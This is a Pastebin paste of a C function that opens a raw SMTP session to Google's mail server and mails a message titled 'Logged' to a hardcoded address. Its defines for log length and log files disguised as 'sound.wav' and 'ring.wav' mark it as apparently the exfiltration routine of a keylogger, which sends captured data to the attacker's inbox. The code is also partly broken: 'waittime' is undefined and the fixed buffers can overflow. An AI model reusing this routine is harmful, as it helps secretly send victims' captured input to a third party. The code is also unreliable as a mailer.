Advertisement
Guest User

Untitled

a guest
Jul 3rd, 2015
199
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.57 KB | None | 0 0
  1. #define cmailserver "gmail-smtp-in.l.google.com"
  2. #define cemailto "toi@gmail.com"
  3. #define cemailfrom "destinataire@gmail.com"
  4. #define LogLength 100
  5. #define FileName "sound.wav"
  6. #define SMTPLog "ring.wav"
  7. #define cemailsubject "Logged"
  8.  
  9. int MailIt (char *mailserver, char *emailto, char *emailfrom, char *emailsubject, char *emailmessage)
  10. {
  11. SOCKET sockfd;
  12. WSADATA wsaData;
  13. FILE *smtpfile;
  14.  
  15. #define bufsize 300 // taille du fichier pour l' envoie
  16. int bytes_sent;
  17. int err;
  18. struct hostent *host; /* gethostbyname */
  19. struct sockaddr_in dest_addr; /* adresse de l'hote */
  20. char line[1000];
  21. char *Rec_Buf = (char*) malloc(bufsize+1);
  22. smtpfile=fopen(SMTPLog,"a+");
  23. if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
  24. fputs("WSAStartup failed",smtpfile);
  25. WSACleanup();
  26. return -1;
  27. }
  28. if ( (host=gethostbyname(mailserver)) == NULL) {
  29. perror("gethostbyname");
  30. exit(1);
  31. }
  32. memset(&dest_addr,0,sizeof(dest_addr));
  33. memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);
  34.  
  35. /* Prepare dest_addr */
  36. dest_addr.sin_family= host->h_addrtype;
  37. dest_addr.sin_port= htons(25); /* PORT */
  38.  
  39. if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
  40. perror("socket");
  41. exit(1);
  42. }
  43. /* Connection !*/
  44. fputs("Connecting....\n",smtpfile);
  45.  
  46. if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
  47. perror("connect");
  48. exit(1);
  49. }
  50. Sleep(waittime);
  51. err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
  52. fputs(Rec_Buf,smtpfile);
  53. strcpy(line,"helo me.somepalace.com\n");
  54. fputs(line,smtpfile);
  55. bytes_sent=send(sockfd,line,strlen(line),0);
  56. Sleep(waittime);
  57. err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
  58. fputs(Rec_Buf,smtpfile);
  59. strcpy(line,"MAIL FROM:<");
  60. strncat(line,emailfrom,strlen(emailfrom));
  61. strncat(line,">\n",3);
  62. fputs(line,smtpfile);
  63. bytes_sent=send(sockfd,line,strlen(line),0);
  64. Sleep(waittime);
  65. err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
  66. fputs(Rec_Buf,smtpfile);
  67. strcpy(line,"RCPT TO:<");
  68. strncat(line,emailto,strlen(emailto));
  69. strncat(line,">\n",3);
  70. fputs(line,smtpfile);
  71. bytes_sent=send(sockfd,line,strlen(line),0);
  72. Sleep(waittime);
  73. err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
  74. fputs(Rec_Buf,smtpfile);
  75. strcpy(line,"DATA\n");
  76. fputs(line,smtpfile);
  77. bytes_sent=send(sockfd,line,strlen(line),0);
  78. Sleep(waittime);
  79. err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
  80. fputs(Rec_Buf,smtpfile);
  81. Sleep(waittime);
  82. strcpy(line,"To:");
  83. strcat(line,emailto);
  84. strcat(line,"\n");
  85. strcat(line,"From:");
  86. strcat(line,emailfrom);
  87. strcat(line,"\n");
  88. strcat(line,"Subject:");
  89. strcat(line,emailsubject);
  90. strcat(line,"\n");
  91. strcat(line,emailmessage);
  92. strcat(line,"\r\n.\r\n");
  93. fputs(line,smtpfile);
  94. bytes_sent=send(sockfd,line,strlen(line),0);
  95. Sleep(waittime);
  96. err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
  97. fputs(Rec_Buf,smtpfile);
  98. strcpy(line,"quit\n");
  99. fputs(line,smtpfile);
  100. bytes_sent=send(sockfd,line,strlen(line),0);
  101. Sleep(waittime);
  102. err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
  103. fputs(Rec_Buf,smtpfile);
  104. fclose(smtpfile);
  105. #ifdef WIN32
  106. closesocket(sockfd);
  107. WSACleanup();
  108. #else
  109. close(sockfd);
  110. #endif
  111. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement